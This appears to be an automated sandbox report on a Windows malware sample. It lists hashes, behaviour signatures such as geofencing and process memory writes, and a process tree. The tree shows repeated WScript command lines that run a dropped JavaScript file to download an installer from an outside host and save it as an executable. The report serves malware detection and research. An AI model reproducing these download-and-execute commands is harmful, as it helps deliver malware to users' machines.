Analysis

  • max time kernel
    100s
  • max time network
    90s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12/06/2024, 18:18

General

  • Target

    a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe

  • Size

    184KB

  • MD5

    a1b38688f0af233fb4942d681698e059

  • SHA1

    92881da9fd120d3f7185910c5de8858d6e242833

  • SHA256

    58fbfa02167ba953913bc189fda27db2c53fb4e4372a97851bccc2996d461de3

  • SHA512

    22aadb07faa3c529e8e97d3aa9ff56f51e76d117bbb43ba5fa793e8270e1f6d020b4289ee1db5e914e9bb33198ce48a5b57d341d2424b43a73dd1abaea94f737

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3Q:/7BSH8zUB+nGESaaRvoB7FJNndn1

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:2152
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf41EB.js" http://www.djapp.info/?domain=aRirCBhISH.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fuf41EB.exe
      2⤵
        PID:3760
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf41EB.js" http://www.djapp.info/?domain=aRirCBhISH.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fuf41EB.exe
        2⤵
          PID:2740
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf41EB.js" http://www.djapp.info/?domain=aRirCBhISH.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fuf41EB.exe
          2⤵
            PID:1636
          • C:\Windows\SysWOW64\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf41EB.js" http://www.djapp.info/?domain=aRirCBhISH.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fuf41EB.exe
            2⤵
              PID:1004
            • C:\Windows\SysWOW64\WScript.exe
              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf41EB.js" http://www.djapp.info/?domain=aRirCBhISH.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fuf41EB.exe
              2⤵
                PID:4744

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Temp\fuf41EB.js

              Filesize

              3KB

              MD5

              3813cab188d1de6f92f8b82c2059991b

              SHA1

              4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

              SHA256

              a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

              SHA512

              83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76